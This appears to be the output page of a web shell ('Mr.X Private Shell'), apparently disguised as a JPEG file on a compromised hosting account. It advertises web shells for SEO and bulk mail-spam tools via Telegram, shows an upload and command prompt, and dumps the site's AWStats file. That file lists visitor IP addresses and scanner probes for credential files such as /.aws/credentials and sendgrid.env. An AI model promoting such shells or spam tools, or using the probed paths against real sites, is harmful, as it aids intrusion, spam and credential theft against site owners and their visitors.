����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

airtcsob@216.73.216.143: ~ $
AWSTATS DATA FILE 7.8 (build 20200416)
# If you remove this file, all statistics for date 202408 will be lost/reset.
# Last config file used to build this data file was /home/airtcsob/tmp/awstats/ssl/awstats.booking.towerdevelopers.com.conf.

# Position (offset in bytes) in this file for beginning of each section for
# direct I/O access. If you made changes somewhere in this file, you should
# also remove completely the MAP section (AWStats will rewrite it at next
# update).
BEGIN_MAP 28
POS_GENERAL 2028                
POS_TIME 2711                
POS_VISITOR 19601               
POS_DAY 68502               
POS_DOMAIN 3720                
POS_LOGIN 4972                
POS_ROBOT 5127                
POS_WORMS 6801                
POS_EMAILSENDER 6932                
POS_EMAILRECEIVER 7075                
POS_SESSION 69456               
POS_SIDER 69670               
POS_FILETYPES 7210                
POS_DOWNLOADS 7536                
POS_OS 7608                
POS_BROWSER 8395                
POS_SCREENSIZE 13996               
POS_UNKNOWNREFERER 14070               
POS_UNKNOWNREFERERBROWSER 15468               
POS_ORIGIN 16272               
POS_SEREFERRALS 16415               
POS_PAGEREFS 16604               
POS_SEARCHWORDS 16772               
POS_KEYWORDS 16924               
POS_MISC 2375                
POS_ERRORS 16983               
POS_CLUSTER 4828                
POS_SIDER_404 17167               
END_MAP

# LastLine    = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value
# FirstTime   = Date of first visit for history file
# LastTime    = Date of last visit for history file
# LastUpdate  = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped
# TotalVisits = Number of visits
# TotalUnique = Number of unique visitors
# MonthHostsKnown   = Number of hosts known
# MonthHostsUnKnown = Number of hosts unknown
BEGIN_GENERAL 8
LastLine 20240901010318 512 175450 11352641685333
FirstTime 20240801000343
LastTime 20240831232327
LastUpdate 20240901083641 512 0 511 0 0
TotalVisits 2698                
TotalUnique 1232                
MonthHostsKnown 0                   
MonthHostsUnknown 1308                
END_GENERAL

# Misc ID - Pages - Hits - Bandwidth
BEGIN_MISC 10
QuickTimeSupport 0 0 0
PDFSupport 0 0 0
JavascriptDisabled 0 0 0
WindowsMediaPlayerSupport 0 0 0
DirectorSupport 0 0 0
TotalMisc 0 0 0
JavaEnabled 0 0 0
FlashSupport 0 0 0
AddToFavourites 0 0 0
RealPlayerSupport 0 0 0
END_MISC

# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth
BEGIN_TIME 24
0 166 204 1206972 127 228 18971543
1 623 1095 38267159 130 482 26115678
2 373 605 19458399 120 400 23767154
3 190 510 19995842 85 242 19481425
4 204 209 479639 100 208 16026811
5 640 882 13920325 264 673 50657922
6 275 807 58359510 245 662 102530043
7 420 963 66208331 403 2528 822671704
8 313 730 16491094 214 808 113050282
9 395 723 7598433 185 553 48747996
10 237 624 5401709 161 353 35925116
11 379 968 24658674 166 545 44364206
12 250 352 1997603 171 552 60914882
13 385 1662 94299955 195 625 35943432
14 235 994 76720847 125 391 31275487
15 238 721 19126989 156 649 45228769
16 306 1087 41349308 225 1090 189382969
17 331 654 16591203 254 1794 663217034
18 252 529 27174624 86 296 18415474
19 294 1151 126298649 138 467 28065287
20 185 188 175597 120 280 30700110
21 197 535 19713105 142 364 32488598
22 343 1431 194182989 142 291 32674222
23 261 288 1159180 284 717 51978872
END_TIME

# Domain - Pages - Hits - Bandwidth
# The 25 first Pages must be first (order not required for others)
BEGIN_DOMAIN 72
us 5167 7587 267181395
gb 311 864 39344617
ao 282 4519 388280139
de 241 241 84314
in 130 150 268631
ru 123 123 90243
fr 115 115 36085
cn 110 364 5590511
id 77 1715 105339278
vn 63 63 18452
ca 60 60 1071231
ro 53 63 2377732
gh 51 528 17399973
jp 50 50 560947
nl 50 50 82611
ua 39 39 13551
it 36 36 13320
ir 30 30 10110
eg 28 28 11284
be 28 31 153421
tr 25 25 6907
br 22 22 8085
pl 21 21 6087
zz 20 20 7070
au 20 20 53431
co 7 108 1541064
mn 3 3 615
eu 10 10 3040
es 16 16 4461
sa 7 7 1435
pk 2 2 410
is 3 3 142685
il 15 15 5253
ar 4 4 81114
nz 10 10 4030
tw 5 5 2819
at 2 2 410
bg 18 18 5274
kz 5 5 2015
ch 2 2 410
gr 9 86 49592
dk 17 17 5861
no 13 13 3457
lk 2 2 410
hk 11 11 4841
mt 4 4 118578
th 19 19 7075
ie 6 6 1230
dz 5 5 1025
sk 2 2 806
ee 5 5 3413
ng 7 158 21673624
ga 12 78 4228365
by 6 6 3816
np 1 1 205
za 12 180 6204756
mx 5 5 1025
az 1 24 47463
se 11 146 6178037
lt 8 8 2234
bf 1 1 403
lu 13 13 5239
kr 12 12 2658
ma 2 9 68
cl 15 15 4857
pt 15 15 6045
rs 4 84 22473136
zw 1 1 205
am 1 1 205
sg 3 3 1011
fi 5 5 1025
my 3 3 1011
END_DOMAIN

# Cluster ID - Pages - Hits - Bandwidth
BEGIN_CLUSTER 0
END_CLUSTER

# Login - Pages - Hits - Bandwidth - Last visit
# The 10 first Pages must be first (order not required for others)
BEGIN_LOGIN 0
END_LOGIN

# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt
# The 25 first Hits must be first (order not required for others)
BEGIN_ROBOT 39
bot[\s_+:,\.\;\/\\-] 5546 1943568374 20240831232325 29
facebookexternalhit/ 1178 196107392 20240831064548 33
Go\-http\-client/ 1147 61335823 20240831075128 0
feed 802 7979891 20240831110424 25
Googlebot/ 735 5811885 20240831010247 27
AhrefsBot/ 690 49853694 20240831074050 27
Applebot/ 458 4844494 20240830210254 11
crawl 357 60328208 20240830061649 0
bingbot/ 301 1774495 20240831154422 19
SemrushBot/ 287 7361702 20240830201047 81
Googlebot\-Image/ 192 71255575 20240831032302 0
Sogou[\x20]web[\x20]spider/ 188 63134932 20240831190800 5
BLEXBot/ 86 3148495 20240824051337 3
YandexBot/ 86 2697637 20240830215809 32
aiHitBot/ 81 776899 20240826121739 1
(firefox/)([0-9]\.|[0-1][0]\.) 63 21359 20240829103759 0
DotBot/ 62 18890079 20240831080734 27
unknown 42 4842 20240831072053 42
CCBot/ 39 665504 20240814001730 2
robot 31 1134290 20240830162703 0
zoominfobot 18 429198 20240828201019 9
CFNetwork 7 46648 20240810163103 0
no_user_agent 4 1380170 20240826021909 0
DuckDuckGo\-Favicons\-Bot/ 3 174644 20240824090907 0
yandex 3 882 20240830024007 0
Yahoo![\x20]Slurp 1 0 20240801160619 0
baidu 1 0 20240801160619 0
Wget/ 1 0 20240801160549 0
msnbot/ 1 0 20240801160549 0
Yahoo![\x20]Slurp[\x20]China 1 0 20240816173507 0
link 2 0 20240816173507 0
Feedfetcher\-Google 1 0 20240801160634 0
Konqueror/ 1 0 20240801160619 0
Python\-urllib/ 1 0 20240811155258 0
DuckDuckBot-Https 2 12256 20240828165745 0
survey 2 660774 20240808183718 0
Googlebot\-Mobile/ 1 0 20240801160634 0
FAST\-WebCrawler/ 1 0 20240801160549 0
FirePHP/ 1 0 20240801160619 0
END_ROBOT

# Worm ID - Hits - Bandwidth - Last visit
# The 5 first Hits must be first (order not required for others)
BEGIN_WORMS 0
END_WORMS

# EMail - Hits - Bandwidth - Last visit
# The 20 first Hits must be first (order not required for others)
BEGIN_EMAILSENDER 0
END_EMAILSENDER

# EMail - Hits - Bandwidth - Last visit
# The 20 first hits must be first (order not required for others)
BEGIN_EMAILRECEIVER 0
END_EMAILRECEIVER

# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression
BEGIN_FILETYPES 13
png 256 811310 0 0
jpg 4836 811083705 0 0
woff2 85 5787000 0 0
jpeg 135 9797547 0 0
js 3077 22539580 0 0
html 412 28080783 0 0
css 2050 10974949 0 0
Unknown 19 190199 0 0
woff 35 136664 0 0
webp 10 405302 0 0
svg 3 1003 0 0
php 6941 997809 0 0
gif 53 30285 0 0
END_FILETYPES

# Downloads - Hits - Bandwidth
BEGIN_DOWNLOADS 1
/sitemap.xml.gz 1 0 508
END_DOWNLOADS

# OS ID - Hits
BEGIN_OS ID - Hits - Pages 49
winphone 1 0
linuxdebian 1 0
Unknown 4018 3987
androideclair 1 0
ios_ipod 1 1
macosx12 4 1
win10 2274 2047
androidjellybean 1 1
androidkitkat 2 1
unix 110 7
androidlollipop 5 2
wince 2 0
linux 125 41
macosx8 1 0
ios_ipad 25 21
macosx 9 9
macosx6 5 2
macintosh 1 0
androidhoneycomb 1 0
macosx14 6 0
winxp 113 77
win7 383 372
linuxubuntu 23 18
androidnougat 330 23
win2003 1 0
androidoreo 58 1
macosx10 26 23
j2me 3 0
winunknown 1 0
winlong 13 11
android10 1890 258
macosx13 4 0
macosx15 348 26
androidcupcake 3 0
win8.1 28 25
wii 1 0
androidpie 47 11
androidics 2 0
sunos 1 0
android 18 8
macosx9 2 0
androidmarshmallow 22 18
win8 23 17
ios_iphone 7966 483
os/2 3 0
macosx7 1 1
symbian 4 0
androidfroyo 2 0
blackberry 3 0
END_OS

# Browser ID - Hits - Pages
BEGIN_BROWSER 272
firefox33.0 31 31
firefox118.0 12 12
chrome90.0.4430.93 18 18
msie9.0 2 0
chrome7.0.514.0 1 0
safari17.0 2 0
safari5.0 1 0
safari16.1 598 43
chrome42.0.2311.111 1 0
chrome110.0.8364.142 2 1
chrome70.0.3538.102 8 8
chrome94.0.2680.49 159 3
firefox61.0 27 27
firefox18.0 21 21
opera68.3.3557.64528 1 0
safari16.6 150 17
chrome117.0.0.0 107 4
chrome80.0.3987.132 15 15
safari17.0.1 1 0
opera62.0.3331.116 1 0
edge17 1 1
chrome77.0.3835.0 1 0
chrome74.0.3729.157 15 14
chrome78.0.3880.4 1 0
chrome74.0.3729.169 22 21
chrome55.0.2502.173 1 1
firefox50.8 1 1
firefox84.0 16 16
chrome52.0.3171.219 1 1
chrome53.0.1046.157 1 1
chrome73.0.3683.103 1 0
chrome88.0.4324.104 13 13
safari5.0.2 1 1
chrome76.0.3809.100 2 0
firefox73.0 12 12
firefox61.9 1 1
chrome91.0.4472.114 169 169
chrome52.0.3663.143 1 1
chrome55.0.2475.248 1 1
Unknown 3989 3974
chrome114.0.0.0 1 1
chrome52.0.2743.116 1 0
chrome4.0.237.0 1 0
chrome55.0.3407.258 1 1
chrome54.0.3804.168 1 1
chrome86.0.1089.177 1 1
firefox36.0 11 11
chrome359.0.0.288 27 10
chrome55.0.3668.163 1 1
chrome110.0.0.0 1 1
firefox57.4 1 1
firefox54.2 1 1
chrome72.0.3626.122 1 0
firefox56.0 2 2
chrome80.0.3987.149 11 11
chrome69.0.3497.100 29 29
opera10.61 1 0
chrome100.0.4896.60 1 0
chrome51.0.2704.103 3 3
chrome21.0.1180.83 19 19
chrome59.0.3071.125 325 23
chrome121.0.0.0 240 26
firefox35.0 6 6
chrome126.0.6478.126 74 2
safari12.0 1 0
sonyericsson 1 0
chrome81.0.4044.138 14 14
chrome56.0.2924.76 8 8
chrome106.0.0.0 1 1
safari7.1.0.267 1 0
wap 1 0
chrome11.0.696.65 3 0
firefox41.0 15 15
chrome37.0.2062.124 3 2
safari16.3 129 1
chrome85.0.4183.102 13 13
chrome99.0.4844.84 1 0
firefox62.3 1 1
safari11.1.2 1 0
mozilla 28 13
firefox52.0 59 59
chrome109.0.0.0 2 2
chrome79.0.3945.117 16 16
firefox24.0 18 15
opera11.52 1 0
chrome76.0.3809.89 4 0
chrome85.0.4183.121 13 13
chrome79.0.3945.147 1 1
chrome40.0.2214.93 4 4
chrome90.0.4430.212 8 8
safari17.5 1756 154
firefox79.0 18 18
chrome73.0.3683.75 2 0
chrome60.0.3112.78 2 0
firefox85.0 9 9
safari7.0.6 1 0
opera85.0.4341.75 1 0
chrome53.0.1125.297 1 1
chrome61.0.3163.100 11 11
opera11.00 1 0
chrome102.0.0.0 1 0
chrome76.0.3809.111 17 1
firefox59.0 13 13
chrome91.0.4472.77 1 0
chrome79.0.3945.88 31 31
chrome71.0.3578.141 1 0
firefox30.0 12 12
firefox106.0 1 1
msie7.0 3 1
firefox48.0 3 2
safari10.1.2 1 0
firefox50.0 31 31
safari7.0.3 1 0
chrome70.0.3538.77 1 0
safari18.0 106 5
msie11.0 7 2
chrome79.0.3945.130 19 19
chrome127.0.6533.99 1 1
safari5.0.1 1 0
chrome46.0.2490.71 10 10
firefox54.0 32 32
chrome66.0.3359.117 3 3
firefox57.9 1 1
chrome60.0.3112.107 1 0
chrome71.0.3578.98 2 0
chrome16.0.912.36 1 1
firefox11.0 33 0
nokia 1 0
arora 1 0
chrome53.0.2459.242 1 1
chrome107.0.0.0 34 8
chrome78.0.3889.0 1 0
chrome19.0.1084.9 1 0
firefox34.0 10 10
chrome65.0.3325.146 2 2
safari4.0.4 3 0
safari2.0.1 3 0
chrome49.0.3658.363 1 1
chrome51.0.2704.106 1 0
chrome58.0.3029.110 3 3
msie6.0 2 0
chrome88.0.4324.190 10 10
chrome49.0.1948.390 1 1
chrome52.0.2743.98 1 0
firefox57.0 31 31
safari6.0 1 0
chrome72.0.3626.121 47 46
chrome103.0.5042.0 1 0
firefox29.0 15 15
edge14 2 1
opera9.60 1 0
chrome74.0.3729.131 16 16
chrome104.0.0.0 2 2
chrome126.0.6478.182 2 2
chrome87.0.4280.88 58 10
firefox47.0 7 7
chrome48.0.1529.250 1 1
chrome92.0.4515.159 1 0
chrome80.0.3987.87 1 0
chrome32.0.1667.0 1 0
safari17.1.2 140 5
chrome86.0.4240.198 9 9
chrome127.0.0.0 984 78
chrome87.0.4280.141 10 10
opera85.0.4341.79 1 0
firefox62.0 12 12
msie6.0.2900.2180 1 0
firefox60.0 5 5
chrome63.0.3239.132 22 21
firefox44.0 18 18
opera12.00 1 0
chrome48.0.1737.132 1 1
firefox20.6.14 14 14
chrome66.0.3359.126 3 0
chrome54.0.1553.249 1 1
firefox40.1 14 14
chrome83.0.4103.116 13 13
firefox40.0 9 8
chrome78.0.3877.0 1 0
blackberry 1 0
opera60.0.3255.170 1 0
chrome96.0.4664.45 1 0
firefox58.0 34 34
firefox38.0 13 13
chrome75.0.3770.143 4 0
chrome60.0.3112.90 28 27
chrome84.0.4147.135 11 11
chrome120.0.0.0 15 15
msie5.15 1 0
safari7.2.0.0 1 0
firefox114.0 3 3
safari15.4 1 0
chrome68.0.3440.91 13 13
iphone 1732 49
android 15 6
opera8.01 1 0
chrome80.0.3987.163 14 14
galeon 1 1
chrome122.0.0.0 449 40
safari11.0 2 1
chrome68.0.3440.106 11 9
opera9.30 1 0
firefox67.0 9 9
chrome101.0.4951.54 1 0
chrome78.0.3879.0 1 0
firefox78.0 11 11
safari12.1.2 1 0
firefox42.0 16 16
safari17.4.1 368 21
chrome53.0.2232.317 1 1
safari 1647 145
chrome30.0.1599.103 1 0
chrome53.0.1199.101 1 1
chrome75.0.3770.100 1 0
chrome51.0.3969.141 1 1
safari15.6 38 1
safari14.0.3 202 6
chrome100.0.4896.127 4 0
chrome125.0.0.0 6 6
firefox63.0 14 14
edge12 24 1
chrome44.0.2403.157 8 8
chrome101.0.4951.41 8 0
firefox45.0 14 14
chrome75.0.3770.80 2 0
firefox105.0 1 1
edge11 2 2
chrome101.0.0.0 1 0
chrome78.0.3904.108 14 14
chrome75.0.3770.142 1 0
chrome101.0.4951.61 1 0
firefox17.0 15 15
chrome67.0.3396.87 6 0
chrome99.0.4844.51 1 0
chrome118.0.0.0 12 12
safari10.0 1 0
safari17.6 1330 64
chrome126.0.0.0 1298 1196
opera12.16 2 0
chrome89.0.4389.90 20 20
firefox88.0 10 10
chrome54.0.2268.322 1 1
chrome84.0.4147.105 16 16
firefox45.9 1 0
chrome45.0.2454.84 1 0
firefox72.5 1 1
firefox66.0 10 10
chrome62.0.3202.62 1 0
netscape4.8 1 0
w3m 1 0
chrome73.0.3683.90 1 0
safari17.3.1 113 4
firefox122.0 33 33
safari12.1.1 1 0
chrome57.0.2987.133 18 18
firefox21.0 1 0
chrome79.0.3945.0 1 0
firefox69.7 1 1
chrome51.0.1722.274 1 1
chrome67.0.3396.99 9 9
firefox54.6 1 1
chrome75.0.3770.145 1 0
chrome64.0.3282.186 16 16
chrome60.0.3112.113 29 29
firefox43.0 8 8
chrome28.0.1469.0 2 0
firefox19.0 1 0
edge18 1 1
firefox65.0 7 7
chrome65.0.3325.181 12 12
safari6.0.0.141 1 0
chrome62.0.3178.0 1 0
END_BROWSER

# Screen size - Hits
BEGIN_SCREENSIZE 0
END_SCREENSIZE

# Unknown referer OS - Last visit date
BEGIN_UNKNOWNREFERER 16
WordPress/6.6.1;_https://booking.towerdevelopers.com 20240831232327
panscient.com 20240831072906
Mozilla/5.0_(MeeGo;_NokiaN950-00/00)_AppleWebKit/534.13_(KHTML,_like_Gecko)_NokiaBrowser/8.5.0_Mobile_Safari/534.13 20240804222124
Mozilla/5.0_(MeeGo;_NokiaN9)_AppleWebKit/534.13_(KHTML,_like_Gecko)_NokiaBrowser/8.5.0_Mobile_Safari/534.13 20240801160634
Jetpack_by_WordPress.com 20240817054917
WordPress.com;_https://booking.towerdevelopers.com 20240817054905
POLARIS/6.01_(BREW_3.1.5;_U;_en-us;_LG;_LX265;_POLARIS/6.01/WAP)_MMP/2.0_profile/MIDP-2.1_Configuration/CLDC-1.1 20240816173507
Download_Demon/3.5.0.11 20240804222124
w3m/0.5.1 20240816173507
SonyEricssonW580i/R6BC_Browser/NetFront/3.3_Profile/MIDP-2.0_Configuration/CLDC-1.1 20240816173507
Mozilla/5.0_(compatible;_InternetMeasurement/1.0;__https://internet-measurement.com/) 20240827143340
Expanse,_a_Palo_Alto_Networks_company,_searches_across_the_global_IPv4_space_multiple_times_per_day_to_identify_customers&#39;_presences_on_the_Internet._If_you_would_like_to_be_excluded_from_our_scans,_please_send_IP_addresses/domains_to:_scaninfo@paloaltonetworks.com 20240828025649
GoogleOther 20240805120555
WhatsApp/2.23.20.0 20240827112537
Mozilla/5.0_(compatible;_CensysInspect/1.1;__https://about.censys.io/) 20240829213203
SearchExpress 20240811155258
END_UNKNOWNREFERER

# Unknown referer Browser - Last visit date
BEGIN_UNKNOWNREFERERBROWSER 11
Jetpack_by_WordPress.com 20240817054917
Uzbl_(Webkit_1.3)_(Linux_i686_[i686]) 20240801160634
GoogleOther 20240805120555
Expanse,_a_Palo_Alto_Networks_company,_searches_across_the_global_IPv4_space_multiple_times_per_day_to_identify_customers&#39;_presences_on_the_Internet._If_you_would_like_to_be_excluded_from_our_scans,_please_send_IP_addresses/domains_to:_scaninfo@paloaltonetworks.com 20240828025649
SearchExpress 20240811155258
WordPress.com;_https://booking.towerdevelopers.com 20240817054905
WhatsApp/2.23.20.0 20240827112537
Download_Demon/3.5.0.11 20240804222124
panscient.com 20240831072906
WordPress/6.6.1;_https://booking.towerdevelopers.com 20240831232327
Peach/1.01_(Ubuntu_8.04_LTS;_U;_en) 20240801160604
END_UNKNOWNREFERERBROWSER

# Origin - Pages - Hits 
BEGIN_ORIGIN 6
From0 6880 7268
From1 0 0
From2 6 30
From3 3 3
From4 603 10611
From5 0 0
END_ORIGIN

# Search engine referers ID - Pages - Hits
BEGIN_SEREFERRALS 3
baidu 1 1
www_google_com 5 5
google_com 0 24
END_SEREFERRALS

# External page referers - Pages - Hits
# The 25 first Pages must be first (order not required for others)
BEGIN_PAGEREFS 1
https://l.wl.co 3 3
END_PAGEREFS

# Search keyphrases - Number of search
# The 10 first number of search must be first (order not required for others)
BEGIN_SEARCHWORDS 0
END_SEARCHWORDS

# Search keywords - Number of search
# The 25 first number of search must be first (order not required for others)
BEGIN_KEYWORDS 0
END_KEYWORDS

# Errors - Hits - Bandwidth
BEGIN_ERRORS 8
403 7 8694
405 10 486
400 9 6
301 656 371802
302 90 757279
404 130 5406037
206 1236 804539
500 607 31846031
END_ERRORS

# URL with 404 errors - Hits - Last URL referrer
BEGIN_SIDER_404 36
/.aws/credentials 1 http://booking.towerdevelopers.com/.aws/credentials
/wp-content/plugins/revslider/public/assets/js/+y+ 2 -
/apple-touch-icon.png 1 -
/listing/labone-finest-2-bedroom-apartment/ 1 -
/docker-compose.yml 1 http://booking.towerdevelopers.com/docker-compose.yml
/wp-content/themes/homey/js/'+b+'.jpeg 2 -
/wp-content/plugins/woocommerce/assets/js/frontend/+wc_add_to_cart_params.cart_url+ 2 -
/wp-content/themes/homey/js/+thumb_url+ 2 -
/wp-content/themes/homey/js/'+b+'.png 2 -
/wp-content/themes/homey/fonts/bootstrap/%20glyphicons-halflings-regular.woff 13 https://booking.towerdevelopers.com/listing/sleek-studio-apartment-cantonments-eg-d219/
/meta.json 7 -
/wp-content/themes/homey/js/'+g.ogv+'.ogv 2 -
/apple-touch-icon-precomposed.png 1 -
/sendgrid.env 1 http://booking.towerdevelopers.com/sendgrid.env
/wp-content/themes/homey/js/'+g+'.mp4 2 -
/wp-content/themes/homey/js/+map_properties[i].url+ 2 -
/apple-touch-icon-120x120-precomposed.png 1 -
/wp-content/themes/homey/js/'+g+'.ogv 2 -
/application/configs/application.ini 1 http://booking.towerdevelopers.com/application/configs/application.ini
/wp-content/themes/homey/js/'+b+'.jpg 2 -
/wp-content/plugins/woocommerce/assets/js/jquery-blockui/+c.iframeSrc+ 2 -
/wp-content/plugins/revslider/public/assets/js/+s.webm+ 2 -
/apple-touch-icon-120x120.png 1 -
/wp-content/plugins/revslider/public/assets/js/+s.mp4+ 2 -
/appsettings.json 1 http://booking.towerdevelopers.com/appsettings.json
/ 25 -
/wp-content/themes/homey/js/'+g.webm+'.webm 2 -
/wp-content/themes/homey/js/%7B%7Bsrc 2 -
/wp-content/themes/homey/js/%7B%7Bposter 2 -
/wp-content/themes/homey/js/'+g.mp4+'.mp4 2 -
/wp-content/themes/homey/js/'+g+'.webm 2 -
/listing/eg-duplex-apartment/ 1 -
/wp-content/themes/homey/fonts/bootstrap/%20glyphicons-halflings-regular.svg 6 https://booking.towerdevelopers.com/
/wp-content/themes/homey/fonts/bootstrap/%20glyphicons-halflings-regular.woff2 21 https://booking.towerdevelopers.com/city/east-legon/
/wp-content/themes/homey/fonts/bootstrap/%20glyphicons-halflings-regular.ttf 10 https://booking.towerdevelopers.com/
/listing/modern-villa/ 1 -
END_SIDER_404

# Host - Pages - Hits - Bandwidth - Last visit date - [Start date of last visit] - [Last page of last visit]
# [Start date of last visit] and [Last page of last visit] are saved only if session is not finished
# The 25 first Hits must be first (order not required for others)
BEGIN_VISITOR 1308
162.213.255.39 3941 3941 11455298 20240831232327
172.59.33.29 61 843 180385744 20240801222456
84.239.47.150 41 51 2326659 20240831072858
194.163.175.101 39 39 15321 20240820062358
45.40.133.116 38 38 15314 20240822163021
154.161.168.248 34 236 17445167 20240827025102
154.161.165.50 33 593 112008281 20240823195829
197.251.194.236 29 262 8876233 20240811142339
86.148.67.106 28 185 15025416 20240821021527
141.94.190.21 28 28 11284 20240820141523
156.239.199.92 27 27 10881 20240819221042
154.161.164.101 27 236 13395089 20240807072109
154.161.18.243 26 337 27116236 20240801015913
165.227.84.253 25 25 10075 20240820062425
51.68.11.191 23 23 9269 20240819205007
154.161.165.70 21 385 41598064 20240804142934
72.73.24.25 21 336 11697496 20240816093348
31.94.18.228 21 159 11243778 20240817174348
52.168.164.239 20 20 8060 20240814235839
198.20.127.169 19 19 7657 20240825092147
80.88.87.203 19 19 7657 20240829185720
154.161.183.174 19 430 32544860 20240809131611
128.199.47.244 18 18 7254 20240824231458
102.132.242.208 17 190 12768633 20240802210300
87.66.35.4 17 17 6851 20240823222846
103.28.36.168 2 2 806 20240828222230
104.198.248.243 4 4 1612 20240822163113
35.204.119.150 1 1 403 20240829154149
178.33.43.96 3 3 2410 20240816123917
103.68.62.175 3 3 615 20240827093119
62.234.219.29 1 1 403 20240809183656
35.240.52.214 1 1 205 20240830012356
173.252.127.114 0 6 135877 
119.28.30.113 1 1 403 20240818223428
34.69.194.4 0 1 262362 
66.23.227.48 1 1 403 20240817040832
5.161.114.92 6 6 2418 20240815073524
74.125.212.231 2 34 231156 20240801221118
35.223.221.34 0 1 39715 
35.90.213.253 1 1 4122 20240821113731
82.165.89.234 1 1 205 20240823193547
185.60.170.211 1 1 205 20240830012250
111.67.28.14 1 1 403 20240808165023
87.98.128.22 3 3 1011 20240812015514
66.249.73.100 2 2 5433 20240808041127
91.121.179.87 5 5 1025 20240830013323
54.196.213.47 1 1 205 20240827091349
208.109.34.85 1 1 205 20240827084659
45.81.232.20 2 2 806 20240810133015
172.105.252.248 7 7 1428 20240830013125
177.53.140.128 1 1 403 20240828184027
212.32.243.82 1 1 205 20240812054844
109.205.181.185 1 1 205 20240812015359
120.46.61.229 1 1 38093 20240825094220
185.30.32.227 1 1 205 20240812053950
176.9.7.94 1 1 403 20240822163032
168.197.49.114 5 5 2015 20240813162718
103.90.233.71 1 1 205 20240830012553
92.53.96.139 1 1 205 20240812230334
35.226.133.14 0 2 1712862 
176.9.85.201 2 2 410 20240828052948
146.59.233.61 2 2 410 20240812055758
64.227.119.204 2 2 410 20240812073026
43.129.185.154 9 9 547382 20240821163449
148.113.152.25 3 3 1209 20240820043353
146.190.40.30 2 2 806 20240814235837
103.90.232.58 5 5 1025 20240830012105
162.220.167.250 1 1 205 20240827093106
185.185.51.214 1 1 1998 20240816132524
111.31.60.28 0 1 58200 
43.138.16.177 3 3 1209 20240825092156
208.109.213.103 3 3 615 20240828052549
148.252.128.12 5 108 3672337 20240810163140
103.191.208.179 1 1 205 20240812015103
35.225.55.91 0 1 50210 
52.88.251.23 1 1 86559 20240806182104
199.45.155.83 1 2 48050 20240829211236
165.232.32.235 2 2 410 20240830012832
103.69.98.51 1 1 205 20240823193639
206.189.64.135 1 1 205 20240823194622
119.9.52.146 2 2 2204 20240816123114
103.74.119.31 2 2 410 20240830011907
45.133.178.161 1 1 205 20240830012314
45.156.128.61 1 1 47479 20240809051651
47.237.5.250 3 3 1209 20240817060813
108.160.154.161 1 1 403 20240819110807
221.8.168.208 1 1 47583 20240817034417
172.201.211.203 1 1 205 20240830011920
91.134.248.235 1 1 403 20240826030901
103.72.97.103 1 1 403 20240827113949
116.196.121.74 4 4 1612 20240825221200
119.49.142.204 1 1 47603 20240830091052
146.190.97.123 3 3 1209 20240816223602
81.8.91.220 1 1 205 20240812230319
101.132.77.106 2 2 806 20240825221048
35.223.16.97 0 1 187411 
5.23.51.100 2 2 410 20240812054344
91.134.248.192 4 4 1612 20240825074631
97.74.88.159 2 2 410 20240827093520
206.189.136.10 1 1 205 20240809161202
178.33.250.136 4 4 1018 20240830011955
69.171.230.11 0 5 149471 
104.248.175.154 1 1 205 20240830013203
91.151.90.82 1 1 205 20240828050906
77.68.51.95 1 1 205 20240827093306
125.212.243.237 1 1 205 20240830012410
178.16.142.50 1 1 205 20240830011226
